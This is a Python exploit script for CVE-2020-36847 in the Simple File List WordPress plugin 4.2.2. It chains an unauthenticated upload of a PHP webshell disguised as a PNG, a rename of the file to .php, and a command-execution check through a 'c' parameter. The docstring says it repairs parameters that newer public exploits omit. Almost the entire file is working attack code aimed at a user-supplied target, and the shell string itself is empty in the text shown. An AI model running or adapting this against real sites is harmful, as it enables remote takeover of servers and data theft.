#!/usr/bin/env python3 """ Simple File List WordPress Plugin 4.2.2 - Unauthenticated File Upload to RCE CVE: CVE-2020-36847 Based on original exploit by coiffeur (EDB-ID 48449) and H4rk3nz0 (EDB-ID 48979). Key difference from newer public exploits: The ee-upload-engine.php endpoint requires additional POST parameters (eeSFL_ID, eeSFL_FileUploadDir, eeSFL_Timestamp, eeSFL_Token) that newer PoCs omit, causing silent 500 errors. Usage: python3 simple-file-list-rce.py [--shell-path SHELL_PATH] python3 simple-file-list-rce.py http://192.168.1.115:3000 """ import requests import sys import argparse import urllib3 urllib3.disable_warnings() # Paths relative to WordPress root DIR_PATH = "/wp-content/uploads/simple-file-list/" UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php" MOVE_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php" # PHP webshell — uses GET parameter 'c' for commands PHP_SHELL = '' HEADERS = {"User-Agent": "Mozilla/5.0"} def upload_payload(target: str, shell_path: str) -> str | None: """Upload PHP webshell disguised as PNG image.""" upload_url = target.rstrip("/") + UPLOAD_PATH filename = "cmd.png" files = {"file": (filename, PHP_SHELL, "image/png")} datas = { "eeSFL_ID": 1, "eeSFL_FileUploadDir": DIR_PATH, "eeSFL_Timestamp": 1587258885, "eeSFL_Token": "ba288252629a5399759b6fde1e205bc2", } print(f"[*] Uploading payload to {upload_url}") r = requests.post(upload_url, data=datas, files=files, headers=HEADERS, timeout=15, verify=False) if r.status_code != 200 or "SUCCESS" not in r.text: print(f"[-] Upload failed (HTTP {r.status_code}): {r.text[:200]}") return None print(f"[+] File uploaded as: {filename}") return filename def rename_payload(target: str, old_name: str) -> str | None: """Rename uploaded .png to .php via ee-file-engine.php.""" rename_url = target.rstrip("/") + MOVE_PATH new_name = old_name.rsplit(".", 1)[0] + ".php" headers = { **HEADERS, "Referer": f"{target}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1", "X-Requested-With": "XMLHttpRequest", } datas = { "eeSFL_ID": 1, "eeFileOld": old_name, "eeListFolder": "/", "eeFileAction": f"Rename|{new_name}", } print(f"[*] Renaming {old_name} -> {new_name}") r = requests.post(rename_url, data=datas, headers=headers, timeout=15, verify=False) if r.status_code != 200 or "SUCCESS" not in r.text: print(f"[-] Rename failed (HTTP {r.status_code}): {r.text[:200]}") return None print(f"[+] Renamed to: {new_name}") return new_name def verify_shell(target: str, php_file: str) -> bool: """Verify the webshell is executable.""" shell_url = target.rstrip("/") + DIR_PATH + php_file test_url = f"{shell_url}?c=id" print(f"[*] Testing shell: {test_url}") r = requests.get(test_url, headers=HEADERS, timeout=15, verify=False) if r.status_code == 200 and "uid=" in r.text: print(f"[+] RCE confirmed!") print(f" Shell URL: {shell_url}?c=") print(f" Output: {r.text.strip()}") return True else: print(f"[-] Shell check failed (HTTP {r.status_code})") return False def main(): parser = argparse.ArgumentParser( description="Simple File List 4.2.2 - Unauthenticated File Upload to RCE" ) parser.add_argument("target", help="Target WordPress URL (e.g. http://192.168.1.115:3000)") parser.add_argument("--shell-path", default=DIR_PATH, help=f"Upload directory relative to WordPress root (default: {DIR_PATH})") args = parser.parse_args() target = args.target.rstrip("/") print(f"[*] Target: {target}") print(f"[*] CVE-2020-36847: Simple File List <= 4.2.2 Unauthenticated Arbitrary File Upload") # Step 1: Upload webshell filename = upload_payload(target, args.shell_path) if not filename: sys.exit(1) # Step 2: Rename to .php php_file = rename_payload(target, filename) if not php_file: sys.exit(1) # Step 3: Verify if verify_shell(target, php_file): print(f"\n[+] Exploit successful!") shell_url = target.rstrip("/") + DIR_PATH + php_file print(f" Webshell: {shell_url}?c=") print(f" Example: curl '{shell_url}?c=id'") else: print("\n[-] Exploit may have failed — check target manually.") sys.exit(1) if __name__ == "__main__": main()